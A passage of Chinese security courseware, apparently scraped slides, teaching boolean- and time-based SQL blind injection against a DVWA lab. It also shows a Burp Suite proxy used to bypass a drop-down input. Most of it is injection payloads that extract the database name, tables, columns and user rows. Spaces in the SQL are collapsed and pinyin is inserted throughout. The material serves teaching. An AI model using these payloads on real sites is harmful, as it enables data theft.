錯(cuò)誤3、數(shù)據(jù)表個(gè)數(shù)判斷,注入語(yǔ)句為“1'andascii(selectcount(table_name)frominformation_schema.tableswheretable_schema=database())&128=128#”,等號(hào)兩側(cè)的值由128,替換為“64、32、16、8、4、2、1”,逐一判斷每個(gè)字節(jié)的值。4、第一個(gè)數(shù)據(jù)表中,表名長(zhǎng)度判斷,注入語(yǔ)句為“1'andascii(length(substr(selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1))&128=128#”,等號(hào)兩側(cè)的值由128,替換為“64、32、16、8、4、2、1”,逐一判斷每個(gè)字節(jié)的值。6.3基于布爾值的字節(jié)注入5、第一個(gè)表的表名第一個(gè)字符,注入語(yǔ)句為“1'andascii(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1,1))&128=128#”,等號(hào)兩側(cè)的值由128,替換為“64、32、16、8、4、2、1”,逐一判斷每個(gè)字節(jié)的值。6、第一個(gè)表中列字段個(gè)數(shù),注入語(yǔ)句為“1'andascii(selectcount(column_name)frominformation_schema.columnswheretable_name='guestbook')&128=128#”,等號(hào)兩側(cè)的值由128,替換為“64、32、16、8、4、2、1”,逐一判斷每個(gè)字節(jié)的值。7、第一個(gè)表中第一個(gè)列字段長(zhǎng)度,注入語(yǔ)句“1'andascii(length(substr((selectcolumn_namefrominformation_schema.columnswheretable_name='guestbook'limit0,1),1)))&128=128#”,等號(hào)兩側(cè)的值由128,替換為“64、32、16、8、4、2、1”,逐一判斷每個(gè)字節(jié)的值。6.3基于布爾值的字節(jié)注入
8、第一個(gè)表中第一個(gè)列字段第一個(gè)字符的注入,語(yǔ)句為“1'andascii(substr((selectcolumn_namefrominformation_schema.columnswheretable_name='guestbook'limit0,1),1,1))&128=128#”,等號(hào)兩側(cè)的值由128,替換為“64、32、16、8、4、2、1”,逐一判斷每個(gè)字節(jié)的值。
9、以u(píng)sers表中,user列為例,讀取該列數(shù)據(jù),獲取該列數(shù)據(jù)行數(shù),注入語(yǔ)句為“1'andascii(selectcount(user)fromusers)&128=128#”,等號(hào)兩側(cè)的值由128,替換為“64、32、16、8、4、2、1”,逐一判斷每個(gè)字節(jié)的值。10、users表中,user列,第一行數(shù)據(jù)長(zhǎng)度。注入語(yǔ)句為“1'andascii(substr((selectuserfromuserslimit0,1),1))&128=128#”,等號(hào)兩側(cè)的值由128,替換為“64、32、16、8、4、2、1”,逐一判斷每個(gè)字節(jié)的值。11、users表中,user列,第一行數(shù)據(jù)的第一個(gè)字符注入語(yǔ)句為“1'andascii(substr((selectuserfromuserslimit0,1),1,1))&128=128#”,等號(hào)兩側(cè)的值由128,替換為“64、32、16、8、4、2、1”,逐一判斷每個(gè)字節(jié)的值。6.4基于時(shí)間的注入任務(wù)3利用SQL盲注分析基于時(shí)間注入原理
在該任務(wù)中分析基于時(shí)間盲注的基本原理。使用函數(shù)sleep(n),函數(shù)被正確執(zhí)行,會(huì)讓進(jìn)程延遲n秒。在該任務(wù)中將基于字符型與基于字節(jié)的兩種注入方法,都給出簡(jiǎn)單的分析。在使用sleep(n)函數(shù)時(shí),需要留意是否發(fā)生延遲,對(duì)于執(zhí)行結(jié)束后的返回值并不重要,這是因?yàn)樵摵瘮?shù)被執(zhí)行,返回值為“0”。使用注入語(yǔ)句“1'unionselect1,sleep(5)#”,在前一章節(jié)SQL注入環(huán)境中,查看運(yùn)行結(jié)果,在執(zhí)行過(guò)程中明顯覺(jué)察到時(shí)間延遲,返回值如下圖所示,在黑色直線標(biāo)記處,可以看到返回值為“0”圖6-12查看sleep()返回值6.4基于時(shí)間的注入1、不同數(shù)據(jù)庫(kù)類型具有不同的時(shí)間延遲函數(shù),例如下表所示,在使用下列一系列函數(shù)中,可以同時(shí)判斷數(shù)據(jù)庫(kù)類型與注入類型。表6-7延遲函數(shù)MySQLSleep()PostgreSQLSleep()(低于或者等于8.1版本)Pg_sleep(高于或者等于8.2版本)SQLServerWAITFORDELAYOracleDBMS_LOCK.SLEEP()2、判斷注入類型,使用注入語(yǔ)句“1andsleep(5)”與“1'andsleep(5)#”,返回結(jié)果如下圖所示。在執(zhí)行“1andsleep(5)”注入語(yǔ)句時(shí),沒(méi)有感覺(jué)到時(shí)間延遲,即時(shí)間延遲函數(shù)沒(méi)有被執(zhí)行,通過(guò)分析下圖返回值可以知道,注入語(yǔ)句作為字符串處理。使用注入語(yǔ)句“1'andsleep(5)#”,可以明顯感覺(jué)到時(shí)間延遲,可以判斷時(shí)間延遲函數(shù)被執(zhí)行。通過(guò)前面分析知道sleep()函數(shù)執(zhí)行后返回“0”,與0做and運(yùn)算,結(jié)果仍然為0,即假值,所以返回結(jié)果為錯(cuò)誤,如下圖所示。6.4基于時(shí)間的注入圖6-13注入類型判斷
3、猜解數(shù)據(jù)庫(kù)名稱,需要猜解數(shù)據(jù)庫(kù)中每個(gè)字符,因此需要首先猜解數(shù)據(jù)庫(kù)名稱字符長(zhǎng)度,使用注入語(yǔ)句“1'andif(length(database())=1,sleep(5),1)#”,查看在運(yùn)行過(guò)程中有沒(méi)有時(shí)間延遲。在注入語(yǔ)句運(yùn)行過(guò)程中,沒(méi)有覺(jué)察到時(shí)間延遲。上述注入語(yǔ)句,使用了條件判斷語(yǔ)句“if(表達(dá)式,條件1,條件2)”,在判斷語(yǔ)句中,如果表達(dá)式成立,則執(zhí)行條件1,如果表達(dá)式不成立,則執(zhí)行條件2。在注入語(yǔ)句“1'and6.4基于時(shí)間的注入if(length(database())=1,sleep(5),1)#”運(yùn)行過(guò)程中,沒(méi)有時(shí)間延遲,即sleep()函數(shù)沒(méi)有被執(zhí)行,而是執(zhí)行了“1”,即length(database())=1不成立,即數(shù)據(jù)庫(kù)名稱長(zhǎng)度不為1。運(yùn)行結(jié)果如下圖所示:圖6-14數(shù)據(jù)庫(kù)長(zhǎng)度注入返回值16.4基于時(shí)間的注入由上面返回結(jié)果分析,注入語(yǔ)句“1'andif(length(database())=1,sleep(5),1)#”被執(zhí)行,且以真值執(zhí)行,通過(guò)上面分析if條件判斷語(yǔ)句中執(zhí)行了“1”,所以注入語(yǔ)句等價(jià)于“1'and1#”為真值,所以返回上圖返回值??梢耘袛?,只要sleep()函數(shù)不被執(zhí)行,相似語(yǔ)句都返回上圖所示返回值,因此該任務(wù)中后續(xù)實(shí)驗(yàn)步驟不再以圖片形式顯示執(zhí)行結(jié)果,而以是否有時(shí)間延遲作為分析結(jié)果。為了猜解出數(shù)據(jù)庫(kù)名稱長(zhǎng)度,使用下面注入語(yǔ)句繼續(xù)猜解:1'andif(length(database())=2,sleep(5),1)#沒(méi)有時(shí)間延遲1'andif(length(database())=3,sleep(5),1)#沒(méi)有時(shí)間延遲1'andif(length(database())=4,sleep(5),1)#有時(shí)間延遲在上面第三條語(yǔ)句注入運(yùn)行時(shí),發(fā)生時(shí)間延遲,可以判斷sleep()函數(shù)被執(zhí)行,即表達(dá)式“l(fā)ength(database())=4”成立,數(shù)據(jù)庫(kù)長(zhǎng)度為“4”。Sleep()函數(shù)被執(zhí)行,返回“0”,因此注入語(yǔ)句等價(jià)于“1'and0#”為假值,返回結(jié)果如下圖所示6.4基于時(shí)間的注入圖6-15數(shù)據(jù)庫(kù)長(zhǎng)度注入返回值2
4、前面分析可以得到,數(shù)據(jù)庫(kù)名稱長(zhǎng)度為4。接著逐一使用二分法猜測(cè)數(shù)據(jù)庫(kù)名稱的四個(gè)字符,第一個(gè)字符使用下面注入語(yǔ)句。1'andif(ascii(substr(database(),1,1))>97,sleep(5),1)#有時(shí)間延遲1'andif(ascii(substr(database(),1,1))>109,sleep(5),1)#沒(méi)有時(shí)間延遲1'andif(ascii(substr(database(),1,1))>103,sleep(5),1)#沒(méi)有時(shí)間延遲1'andif(ascii(substr(database(),1,1))>100,sleep(5),1)#沒(méi)有時(shí)間延遲1'andif(ascii(substr(database(),1,1))>99,sleep(5),1)#有時(shí)間延遲6.4基于時(shí)間的注入
通過(guò)上面五條注入語(yǔ)句,進(jìn)行分析,第一條有時(shí)間延遲,則字符ASCII值大于97成立;第二條語(yǔ)句沒(méi)有時(shí)間延遲,則字符ASCII值大于109不成立,則應(yīng)小于等于109;第三條語(yǔ)句沒(méi)有時(shí)間延遲,則字符ASCII值大于103不成立,則應(yīng)小于等于103;第四條語(yǔ)句沒(méi)有時(shí)間延遲,則字符ASCII值大于100不成立,則應(yīng)小于等于100;第五條有時(shí)間延遲,則字符ASCII值大于99成立。字符ASCII值為整數(shù)值,且大于99小于等于100,則值為100,在ASCII碼表中,值為100為字符“d”。使用同樣的方法可以將其他三個(gè)字符猜解出來(lái),即數(shù)據(jù)庫(kù)名稱為“dvwa”。5、猜解數(shù)據(jù)庫(kù)dvwa中有幾個(gè)數(shù)據(jù)表,使用下列注入語(yǔ)句與是否有時(shí)間延遲:1'andif((selectcount(table_name)frominformation_schema.tableswheretable_schema=database())=1,sleep(5),1)#沒(méi)有時(shí)間延遲1'andif((selectcount(table_name)frominformation_schema.tableswheretable_schema=database())=2,sleep(5),1)#有時(shí)間延遲
分析上面兩條注入語(yǔ)句,猜解到數(shù)據(jù)庫(kù)中有兩個(gè)數(shù)據(jù)表。6.4基于時(shí)間的注入
6、逐一猜解數(shù)據(jù)庫(kù)中數(shù)據(jù)表的表名,需要逐一猜解到數(shù)據(jù)表名的字符長(zhǎng)度,以第一個(gè)數(shù)據(jù)表為例,使用下面注入語(yǔ)句與是否有時(shí)間延遲。1'andif(length(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1))=1,sleep(5),1)#無(wú)時(shí)間延遲1'andif(length(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1))=2,sleep(5),1)#無(wú)時(shí)間延遲1'andif(length(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1))=3,sleep(5),1)#無(wú)時(shí)間延遲1'andif(length(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1))=4,sleep(5),1)#無(wú)時(shí)間延遲1'andif(length(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1))=5,sleep(5),1)#無(wú)時(shí)間延遲6.4基于時(shí)間的注入1'andif(length(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1))=6,sleep(5),1)#無(wú)時(shí)間延遲1‘a(chǎn)ndif(length(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1))=7,sleep(5),1)#無(wú)時(shí)間延遲1'andif(length(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1))=8,sleep(5),1)#無(wú)時(shí)間延遲1'andif(length(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1))=9,sleep(5),1)#有時(shí)間延遲
由上面注入語(yǔ)句與時(shí)間延遲情況,分析得到第一個(gè)數(shù)據(jù)表的名稱長(zhǎng)度為9。6.4基于時(shí)間的注入7、猜解第一個(gè)表名的第一個(gè)字符,使用注入語(yǔ)句“1'andif(ascii(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1,1))>97,sleep(5),1)#”,沒(méi)有時(shí)間延遲,使用二分法猜解,得到ASCII值為103,字符為“g”。使用上述注入語(yǔ)句可以猜解到兩個(gè)數(shù)據(jù)表為“guestbook、users”。8、猜解列字段,首先需要猜解每個(gè)表中的列字段個(gè)數(shù),以數(shù)據(jù)表users為例,使用注入語(yǔ)句“1'andif((selectcount(column_name)frominformation_schema.columnswheretable_name='users')=1,sleep(5),1)#”,無(wú)時(shí)間延遲,當(dāng)值從1逐步輸入到8時(shí),有時(shí)間延遲,則users表中有8個(gè)列字段。9、猜解第一個(gè)列字段的字符長(zhǎng)度,使用注入語(yǔ)句“1'andif(length(substr((selectcolumn_namefrominformation_schema.columnswheretable_name='users'limit0,1),1))=1,sleep(5),1)#”,無(wú)時(shí)間延遲,當(dāng)值從1逐步輸入到7時(shí),有時(shí)間延遲,則第一個(gè)列字段長(zhǎng)度為7。6.4基于時(shí)間的注入10、猜解第一個(gè)列字段中第一個(gè)字符,使用注入語(yǔ)句“1'andif(ascii(substr((selectcolumn_namefrominformation_schema.columnswheretable_name='users'limit0,1),1,1))>97,sleep(5),1)#”,無(wú)時(shí)間延遲,采用二分法得到ASCII值為117,字符為“u”,使用上面注入語(yǔ)句可以猜解到表中所有列的名稱“user_id、first_name、last_name、user、password、avatar、last_login、failed_login”。11、現(xiàn)在可以使用列字段名稱,讀取表中數(shù)據(jù),以u(píng)sers表中user列為例,使用注入語(yǔ)句“1'andif((selectcount(user)fromusers)=1,sleep(5),1)#”,對(duì)表中行數(shù)進(jìn)行統(tǒng)計(jì)。值從1到6逐一判斷,當(dāng)值為6時(shí),有時(shí)間延遲,可以判斷,表中行數(shù)為6行。12、判斷users表中user列,第一行數(shù)據(jù)的長(zhǎng)度,使用注入語(yǔ)句“1'andif(length(substr((selectuserfromuserslimit0,1),1))=1,sleep(5),1)#”,無(wú)時(shí)間延遲,當(dāng)值從1到5逐一判斷,當(dāng)值為5時(shí),有時(shí)間延遲,則users表中user列中第一行數(shù)據(jù)長(zhǎng)度為5。6.4基于時(shí)間的注入13、測(cè)試分析獲取上面分析得到的五個(gè)字符分別是什么,使用注入語(yǔ)句“1'andif(ascii(substr((selectuserfromuserslimit0,1),1,1))>97,sleep(5),1)#”采用二分法逐一判斷,測(cè)試獲取每個(gè)字符,可以得到第一行數(shù)據(jù)為“admin”。14、實(shí)驗(yàn)可以繼續(xù)使用11-13步驟,將users表中的所有數(shù)據(jù)測(cè)試分析獲取到,完成暴庫(kù)。前面實(shí)驗(yàn)是基于時(shí)間的字符型注入方法,在注入方法中,還有一種是基于字節(jié)注入,下面簡(jiǎn)單介紹一下基于時(shí)間的字節(jié)型注入方法?;谧止?jié)的基本原理在任務(wù)2中已經(jīng)做了詳細(xì)分析,在此不再重復(fù)。具體操作如下:6.4基于時(shí)間的注入1、猜解數(shù)據(jù)庫(kù)名字節(jié)長(zhǎng)度,使用注入語(yǔ)1'andif(ascii(length(database()))&128=128,sleep(5),1)# 無(wú)時(shí)間延遲1'andif(ascii(length(database()))&64=64,sleep(5),1)# 無(wú)時(shí)間延遲1'andif(ascii(length(database()))&32=32,sleep(5),1)# 有時(shí)間延遲1'andif(ascii(length(database()))&16=16,sleep(5),1)# 有時(shí)間延遲1'andif(ascii(length(database()))&8=8,sleep(5),1)# 無(wú)時(shí)間延遲1'andif(ascii(length(database()))&4=4,sleep(5),1)# 有時(shí)間延遲1'andif(ascii(length(database()))&2=2,sleep(5),1)# 無(wú)時(shí)間延遲6.4基于時(shí)間的注入1'andif(ascii(length(database()))&1=1,sleep(5),1)# 無(wú)時(shí)間延遲由上面的邏輯值可知,二進(jìn)制位為“00110100”轉(zhuǎn)換為十進(jìn)制為“52”,在ASCII碼表中,十進(jìn)制值為52的字符為數(shù)字4,所以數(shù)據(jù)庫(kù)名長(zhǎng)度為4。2、數(shù)據(jù)庫(kù)名每一個(gè)字符的判斷,使用注入語(yǔ)句“1'andif((substr(database(),1,1))&128=128,sleep(5),1)#”,等號(hào)兩側(cè)的值由128,替換為“64、32、16、8、4、2、1”,逐一判斷每個(gè)字節(jié)的值。如下所示,有邏輯值可知,二進(jìn)制位“01100100”,十進(jìn)制數(shù)值為“100”,對(duì)應(yīng)ASCII碼表中字符“d”。1'andif((substr(database(),1,1))&128=128,sleep(5),1)# 無(wú)時(shí)間延遲1'andif((substr(database(),1,1))&64=64,sleep(5),1)# 有時(shí)間延遲1'andif((substr(database(),1,1))&32=32,sleep(5),1)# 有時(shí)間延遲1'andif((substr(database(),1,1))&16=16,sleep(5),1)# 無(wú)時(shí)間延遲6.4基于時(shí)間的注入1'andif((substr(database(),1,1))&8=8,sleep(5),1)# 有時(shí)間延遲1'andif((substr(database(),1,1))&4=4,sleep(5),1)# 無(wú)時(shí)間延遲1'andif((substr(database(),1,1))&2=2,sleep(5),1)# 無(wú)時(shí)間延遲1'andif((substr(database(),1,1))&1=1,sleep(5),1)# 無(wú)時(shí)間延遲3、數(shù)據(jù)表個(gè)數(shù)判斷,注入語(yǔ)句為“1'andif(ascii(selectcount(table_name)frominformation_schema.tableswheretable_schema=database())&128=128,sleep(5),1)#”,等號(hào)兩側(cè)的值由128,替換為“64、32、16、8、4、2、1”,逐一判斷每個(gè)字節(jié)的值。
4、第一個(gè)數(shù)據(jù)表中,表名長(zhǎng)度判斷,注入語(yǔ)句為“1'andif(ascii(length(substr(selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1))&128=128,sleep(5),1)#”,等號(hào)兩側(cè)的值由128,替換為“64、32、16、8、4、2、1”,逐一判斷每個(gè)字節(jié)的值。6.4基于時(shí)間的注入5、第一個(gè)表的表名第一個(gè)字符,注入語(yǔ)句為“1'andif(ascii(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1,1))&128=128,sleep(5),1)#”,等號(hào)兩側(cè)的值由128,替換為“64、32、16、8、4、2、1”,逐一判斷每個(gè)字節(jié)的值。6、第一個(gè)表中列字段個(gè)數(shù),注入語(yǔ)句為“1'andif(ascii(selectcount(column_name)frominformation_schema.columnswheretable_name='guestbook')&128=128,sleep(5),1)#”,等號(hào)兩側(cè)的值由128,替換為“64、32、16、8、4、2、1”,逐一判斷每個(gè)字節(jié)的值。7、第一個(gè)表中第一個(gè)列字段長(zhǎng)度,注入語(yǔ)句“1'andif(ascii(length(substr((selectcolumn_namefrominformation_schema.columnswheretable_name='guestbook'limit0,1),1)))&128=128,sleep(5),1)#”,等號(hào)兩側(cè)的值由128,替換為“64、32、16、8、4、2、1”,逐一判斷每個(gè)字節(jié)的值。8、第一個(gè)表中第一個(gè)列字段第一個(gè)字符的注入,語(yǔ)句為“1'andif(ascii(substr((selectcolumn_namefrominformation_schema.columnswheretable_name='guestbook'limit0,1),1,1))&128=128,sleep(5),1)#”,等號(hào)兩側(cè)的值由6.4基于時(shí)間的注入128,替換為“64、32、16、8、4、2、1”,逐一判斷每個(gè)字節(jié)的值。
9、以u(píng)sers表中,user列為例,讀取該列數(shù)據(jù),獲取該列數(shù)據(jù)行數(shù),注入語(yǔ)句為“1'andif(ascii(selectcount(user)fromusers)&128=128,sleep(5),1)#”,等號(hào)兩側(cè)的值由128,替換為“64、32、16、8、4、2、1”,逐一判斷每個(gè)字節(jié)的值。10、users表中,user列,第一行數(shù)據(jù)長(zhǎng)度。注入語(yǔ)句為“1'andif(ascii(substr((selectuserfromuserslimit0,1),1))&128=128,sleep(5),1)#”,等號(hào)兩側(cè)的值由128,替換為“64、32、16、8、4、2、1”,逐一判斷每個(gè)字節(jié)的值。11、users表中,user列,第一行數(shù)據(jù)的第一個(gè)字符注入語(yǔ)句為“1'andif(ascii(substr((selectuserfromuserslimit0,1),1,1))&128=128,sleep(5),1)#”,等號(hào)兩側(cè)的值由128,替換為“64、32、16、8、4、2、1”,逐一判斷每個(gè)字節(jié)的值。6.5非文本框輸入的?SQL?盲注任務(wù)4非文本框輸入的基于布爾值的字符型注入
1、在任務(wù)1分析注入原理時(shí),分析了數(shù)據(jù)處理源碼,其中存在的主要問(wèn)題是,獲取到的變量沒(méi)有進(jìn)行任何安全級(jí)別的過(guò)濾,直接拿來(lái)進(jìn)行執(zhí)行。另一個(gè)問(wèn)題是在頁(yè)面中使用了文本框,用戶可以輸入數(shù)據(jù),如果不讓用戶輸入數(shù)據(jù)使用下拉列表框,會(huì)不會(huì)就不能完成SQL注入呢?(將SecurityLevel修改為medium)如下圖所示圖6-16下拉列表框6.5非文本框輸入的?SQL?盲注
2、由上圖可以看到在下拉列表框中無(wú)法輸入數(shù)據(jù),因此不能進(jìn)行SQL注入,但可以使用代理服務(wù)器繞過(guò)前端,完成SQL注入??蛻舳耍g覽器)與服務(wù)器數(shù)據(jù)傳輸方式如下圖所示:圖6-17訪問(wèn)流程圖6.5非文本框輸入的?SQL?盲注在正常的訪問(wèn)過(guò)程中,客戶端發(fā)起數(shù)據(jù)請(qǐng)求“1”,服務(wù)器做出對(duì)應(yīng)應(yīng)答
“2”。如果使用代理服務(wù)器,則在客戶端請(qǐng)求與應(yīng)答不再是1-2的路徑,改變?yōu)?-4-5-6,在此路徑中,數(shù)據(jù)請(qǐng)求與應(yīng)答都需要經(jīng)過(guò)代理服務(wù)器,因此可以再客戶端發(fā)起請(qǐng)求后,在請(qǐng)求到達(dá)代理服務(wù)器后,在代理服務(wù)器中修改客戶端請(qǐng)求,再將修改后的請(qǐng)求發(fā)給服務(wù)器,服務(wù)器將針對(duì)修改后的請(qǐng)求給出應(yīng)答,利用這個(gè)原理繞過(guò)客戶端的安全設(shè)置。3、使用Burpsuit軟件作為代理服務(wù)器。需要設(shè)置兩個(gè)地方,第一,設(shè)置瀏覽器代理服務(wù)器,在firefox瀏覽器中,選擇打開(kāi)菜單(工具欄中最后一個(gè)圖標(biāo),類似三根橫線的圖標(biāo)),選擇選項(xiàng),在常規(guī)選項(xiàng)卡中設(shè)置代理,設(shè)置如下圖所示6.5非文本框輸入的?SQL?盲注圖6-18瀏覽器代理設(shè)置16.5非文本框輸入的?SQL?盲注在上圖中選擇紅色數(shù)字“3”處的設(shè)置按鈕,打開(kāi)下一步操作。如下圖所示:圖6-19瀏覽器代理設(shè)置2在上圖中選擇“手動(dòng)代理配置”,HTTP代理設(shè)置為“”,端口號(hào)為“80”,然后確定。瀏覽器代理設(shè)置完成后,進(jìn)行Burpsuit代理的設(shè)置,如下圖所示:6.5非文本框輸入的?SQL?盲注圖6-20Burpsuit設(shè)置6.5非文本框輸入的?SQL?盲注打開(kāi)Burpsuit,如上圖所示,選擇紅色數(shù)字1處“proxy”,選擇紅色數(shù)字2處“options”,選中上圖中深色底紋處,然后選擇紅色數(shù)字3處“edit”,打開(kāi)具體設(shè)置窗口,在紅色數(shù)字4處更改為如圖所示,然后保存更改,代理設(shè)置完成。4、在Burpsuit中將代理設(shè)置為監(jiān)聽(tīng)狀態(tài),設(shè)置下圖所示圖6-21設(shè)置為監(jiān)聽(tīng)狀態(tài)6.5非文本框輸入的?SQL?盲注設(shè)置順序?yàn)樵趐roxy中選擇紅色數(shù)字1處intercept,紅色數(shù)字2處設(shè)置為interceptison將Burpsuit代理服務(wù)器設(shè)置為監(jiān)聽(tīng)狀態(tài)。5、在圖6-15所示的客戶端中,在下拉列表框中選擇一個(gè)數(shù)字然后提交,例如選擇1。
然后打開(kāi)Burpsuit,發(fā)現(xiàn)已經(jīng)監(jiān)聽(tīng)到了客戶端的數(shù)據(jù)請(qǐng)求,如下圖所示:圖6-22獲取數(shù)據(jù)請(qǐng)求6.5非文本框輸入的?SQL?盲注
6、在上圖中的紅色數(shù)字1處可以看到獲取數(shù)據(jù)“id=1&Submit=Submit”,其中id的值為在下拉列表框中獲取到的值,也是要傳到服務(wù)器中要執(zhí)行SQL命令語(yǔ)句的值,在此可以更改id的值,看是否可以進(jìn)行注入,修改如下所示:圖6-23修改數(shù)據(jù)6.5非文本框輸入的?SQL?盲注
7、將id值改為m,如上圖紅色數(shù)字1處所示,然后單擊“forward”按鈕,完成修改并將數(shù)據(jù)發(fā)送給靶機(jī)服務(wù)器,服務(wù)器將請(qǐng)求數(shù)據(jù)發(fā)送給客戶端(服務(wù)器是針對(duì)修改后請(qǐng)求發(fā)送的數(shù)據(jù),因此不需要監(jiān)聽(tīng)服務(wù)器發(fā)回的數(shù)據(jù),直接將數(shù)據(jù)放行,發(fā)送到客戶端。),打來(lái)客戶端可以看到如下返回?cái)?shù)據(jù)。圖6-24輸入m返回值6.5非文本框輸入的?SQL?盲注
8、由上圖返回結(jié)果可以得到?jīng)]有為m的列,數(shù)據(jù)不存在。由任務(wù)1可知,在暴庫(kù)前需要大量的注入測(cè)試,因此每次測(cè)試都需要經(jīng)過(guò)前面步驟5-8,提交數(shù)據(jù)——監(jiān)聽(tīng)數(shù)據(jù)——修改數(shù)據(jù)——放行——返回?cái)?shù)據(jù),一系列過(guò)程,操作比較繁瑣,因此可以使用Burpsuit的重復(fù)測(cè)試功能。9、在圖6-21的步驟中,在紅色數(shù)字1所在的位置單擊鼠標(biāo)右鍵,選擇“sendtorepeater”,6.5非文本框輸入的?SQL?盲注圖6-25repeater設(shè)置6.5非文本框輸入的?SQL?盲注在上圖中所示的圖片中,選擇菜單欄中的repeater選項(xiàng)卡,如紅色數(shù)字1所示位置,可以看到上圖內(nèi)容。在紅色數(shù)字2處將id值的1改為m,然后單擊紅色數(shù)字3處“go”,在response中可以看到具體返回值數(shù)據(jù),返回的是網(wǎng)頁(yè)的html代碼,在紅色數(shù)字4處可以看到的返回值與圖6-23中的返回值是完全相同。10、后續(xù)在repeater中修改id值完成相應(yīng)測(cè)試。首先需要測(cè)試是否存在注入漏洞,然后確定注入類型。通過(guò)前面步驟的測(cè)試,將id值1改為m后,存在返回值,可以基本確定存在注入漏洞。11、在repeater中將id值“1”,改為“1’”然后放行,查看response中的返回值如下圖所示,從返回結(jié)果可以看到,是錯(cuò)誤提示,不再跟SQL注入實(shí)驗(yàn)中可以通過(guò)該步驟操作獲取一系列信息。6.5非文本框輸入的?SQL?盲注圖6-26注入類型判斷16.5非文本框輸入的?SQL?盲注12、對(duì)注入類型判斷,使用注入語(yǔ)句“1'and1=1#”與“1'and1=2#”,返回結(jié)果如下圖所示,由圖知道,返回值都是相同的,不在數(shù)據(jù)庫(kù)中,此處無(wú)法判斷是不能被
溫馨提示
- 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 2026年用戶畫(huà)像構(gòu)建精準(zhǔn)營(yíng)銷策略
- 2026年非遺技藝傳承創(chuàng)新應(yīng)用課程
- 2026重慶市工藝美術(shù)學(xué)校教師招聘48人備考題庫(kù)含答案詳解
- 2026湖南長(zhǎng)沙市雨花區(qū)雅境中學(xué)春季合同制教師招聘?jìng)淇碱}庫(kù)及一套答案詳解
- 中兵勘察設(shè)計(jì)研究院有限公司2026校招備考題庫(kù)及完整答案詳解1套
- 2026年非遺手工藝商業(yè)化路徑解析
- 六年級(jí)語(yǔ)文下冊(cè)期中測(cè)試卷及答案【完美版】
- 駕駛員承諾書(shū)
- 母嬰護(hù)理中的心理調(diào)適與情緒管理
- 陶俑介紹教學(xué)
- 2026年山東省威海市單招職業(yè)傾向性測(cè)試題庫(kù)附答案解析
- 2026新疆伊犁州新源縣總工會(huì)面向社會(huì)招聘工會(huì)社會(huì)工作者3人考試備考試題及答案解析
- 2026年《必背60題》抖音本地生活BD經(jīng)理高頻面試題包含詳細(xì)解答
- 駱駝祥子劇本殺課件
- 2025首都文化科技集團(tuán)有限公司招聘9人考試筆試備考題庫(kù)及答案解析
- 農(nóng)業(yè)科技合作協(xié)議2025
- 護(hù)理文書(shū)書(shū)寫(xiě)規(guī)范與法律風(fēng)險(xiǎn)規(guī)避
- DGTJ08-10-2022 城鎮(zhèn)天然氣管道工程技術(shù)標(biāo)準(zhǔn)
- 建筑抗震加固技術(shù)方案設(shè)計(jì)案例
- 提高護(hù)理效率的好用工作計(jì)劃
- 醫(yī)院醫(yī)療糾紛案例匯報(bào)
評(píng)論
0/150
提交評(píng)論